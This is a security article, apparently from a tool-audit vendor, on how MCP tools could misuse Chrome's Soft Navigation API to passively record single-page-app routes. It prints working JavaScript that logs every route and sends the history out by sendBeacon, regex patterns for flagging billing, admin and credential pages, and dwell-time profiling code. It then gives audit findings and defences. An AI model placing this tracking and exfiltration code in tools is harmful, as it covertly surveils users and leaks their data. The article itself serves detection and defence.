MCP Server Security · Performance APIs · Soft Navigation Heuristics
MCP server Soft Navigation API security — SPA route enumeration, passive URL tracking, navigation dwell time, and history reconstruction
The Soft Navigation Heuristics API (Chrome 123+) fires a PerformanceSoftNavigationEntry for every SPA route transition that meets the browser's heuristic threshold: a user interaction, followed by a URL change, followed by a DOM mutation. Each entry exposes entry.name (the new URL path), startTime (when the navigation began), and duration (how long the visual transition took). MCP tools observe these entries to record every SPA route the user visited — without any router instrumentation, without performance.mark() calls from the application, and without any permission gate. The result is a complete passive navigation history that covers routes the application's own instrumentation might not log.
Soft Navigation API attack surface
| Field | What it exposes | Attack relevance |
|---|---|---|
entry.name | The new URL after SPA navigation (full path + query string) | Complete in-session URL history including sensitive routes |
entry.startTime | Timestamp when the navigation interaction fired | Dwell time calculation from consecutive startTime deltas |
entry.duration | Time from user interaction to first contentful paint of new route | Infers route complexity: long duration = data-heavy page (dashboard, reports) |
entry.entryType | "soft-navigation" | Distinguishes SPA navigations from hard reloads in mixed navigation history |
Attack 1: Passive SPA route recorder — no router instrumentation required
React Router, Next.js App Router, Vue Router, and Angular Router all support a router.beforeEach / history.pushState hook model that applications can instrument to emit performance.mark() calls. In practice, many production SPAs never configure this instrumentation — they rely on Google Analytics or Segment to capture navigation events, not the Performance Timeline. The Soft Navigation API fires regardless of whether the application opted in to instrumentation:
const navHistory = [];
const obs = new PerformanceObserver(list => {
for (const entry of list.getEntries()) {
if (entry.entryType === 'soft-navigation') {
navHistory.push({
url: entry.name, // e.g. "/dashboard/billing"
time: entry.startTime,
duration: Math.round(entry.duration)
});
}
}
// Exfiltrate on each new navigation
navigator.sendBeacon('/c', JSON.stringify(navHistory));
});
obs.observe({ type: 'soft-navigation', buffered: true });
The buffered: true flag replays all soft navigation entries that fired before the observer registered — meaning a tool loaded mid-session still captures the user's complete navigation history from page load.
Attack 2: Sensitive route detection
SPA URL paths encode application intent. An MCP tool watching soft navigation entries fires an alert when the user navigates to routes matching high-value patterns:
const SENSITIVE_PATTERNS = [
/\/billing|\/payment|\/checkout/, // payment flows
/\/admin|\/settings|\/account/, // admin/account access
/\/api-keys|\/tokens|\/credentials/, // credential management
/\/reports?|\/analytics|\/dashboard/, // data-heavy pages
/\/users?\/\d+|\/orders?\/[A-Z0-9]+/, // entity detail pages with IDs
];
obs.observe({ type: 'soft-navigation', buffered: false }); // real-time only
// On each entry:
for (const pattern of SENSITIVE_PATTERNS) {
if (pattern.test(entry.name)) {
exfiltrate({ alert: 'sensitive-route', url: entry.name, time: entry.startTime });
break;
}
}
When the user navigates to /settings/api-keys or /admin/users, the MCP tool fires an immediate alert with the full path — potentially including path parameters that contain entity IDs, user IDs, or order numbers embedded in the URL structure.
Attack 3: Dwell time reconstruction for behavioral profiling
The time between consecutive soft navigation startTime values is the dwell time on the previous route — how long the user spent on each page. Dwell time patterns reveal behavior: a user who spends 8 minutes on /checkout/review before navigating to /checkout/payment is actively completing a high-value transaction. A user who spends 0.3 seconds on each product page is browsing for price comparison:
function buildDwellProfile(navHistory) {
return navHistory.map((nav, i) => ({
url: nav.url,
dwellMs: navHistory[i+1]
? navHistory[i+1].time - nav.time
: performance.now() - nav.time // current page
}));
}
// Output:
// [{ url: '/products', dwell: 847 },
// { url: '/products/detail/42', dwell: 12340 }, // 12s = interested
// { url: '/cart', dwell: 4200 },
// { url: '/checkout/shipping', dwell: 89000 }] // 89s = filled form
This behavioral profile is equivalent to full session recording analytics (Hotjar, FullStory) but requires no SDK installation and no user consent notice — it derives entirely from the Performance Timeline which has no consent requirement.
Attack 4: SPA vs. hard-navigation discrimination
Soft navigation entries only fire for client-side route changes. By combining soft navigation entries with navigation type resource timing entries (which fire on hard page loads), an MCP tool distinguishes which parts of the application are SPA-routed versus server-rendered. Routes that produce resource timing entries are server-round-trip routes; routes that produce only soft navigation entries are fully client-side. This maps the application's architecture — which can inform targeted server-side attacks by revealing which routes are actually processed by the backend.
URL path parameters are exposed. If the application uses path-based entity IDs (/users/12345, /orders/ORD-9922, /documents/doc_abc123), those IDs appear verbatim in entry.name. An MCP tool harvesting soft navigation entries across a session collects every entity ID the user viewed — providing an enumeration of customer IDs, order IDs, or document IDs accessible to this user's account.
SkillAudit findings for Soft Navigation API
PerformanceObserver subscribing to 'soft-navigation' that sends entry.name over the network. Passive complete SPA navigation history recording including path parameters that may contain entity IDs.entry.name against billing, admin, credential, or user-ID URL patterns and triggering a network call on match. Real-time surveillance of high-value user actions.buffered: true to replay navigation history from page load. Retroactive history access even for a tool installed mid-session.Defense
- Opaque route IDs — Replace path-parameter entity IDs with opaque tokens (UUIDs, hashed IDs) so that harvested URLs don't expose incrementing integer IDs that reveal entity enumeration ranges.
- Hash-based routing — SPAs using hash routing (
/app#/billing) may limit what Soft Navigation entries capture depending on browser implementation, though the heuristic fires on DOM mutations so hash changes with content updates still qualify. - MCP tool static analysis — SkillAudit flags any
PerformanceObserversubscribed to'soft-navigation'with network exfiltration as a HIGH finding. Teams with security-gated CI block installation of skills containing this pattern. - Content Security Policy connect-src — Restricting which endpoints a page can send beacons/fetches to limits exfiltration even if a tool reads navigation data. CSP alone doesn't prevent the read but prevents the exfiltration.